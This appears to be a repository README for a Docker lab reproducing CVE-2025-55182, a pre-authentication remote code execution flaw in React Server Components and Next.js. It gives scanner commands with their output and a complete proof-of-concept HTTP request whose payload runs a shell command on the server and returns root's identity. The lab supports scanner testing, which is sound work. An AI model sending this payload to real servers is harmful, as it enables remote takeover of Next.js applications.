l4rm4nd/cve-2025-55182Docker-based lab for detecting and exploiting CVE-2025-55182 (React2Shell RCE) in Next.js/React Server Components, with pre-configured vulnerable setup and PoC scanners.
This repository provides a minimal intentionally vulnerable environment to test security scanners against the recent critical RCE vulnerability (React2Shell) affecting React Server Components and Next.js.
CVE-2025-55182: A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
CVE-2025-66478: Tracks the downstream impact on Next.js applications using the App Router.
[!Warning] This setup is intentionally vulnerable and must never be exposed to the public internet or used in production.
This app is a very small Next.js project that:
next: 16.0.6react: 19.2.0react-dom: 19.2.0[!TIP] Pinning
reactandreact-domis optional, as an affectednextversion is susceptible per default due to app router.
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
Use the scanner provided by AssetNote:
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
Will return:
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Will return:
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
PoC HTTP payload from here.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Will return:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
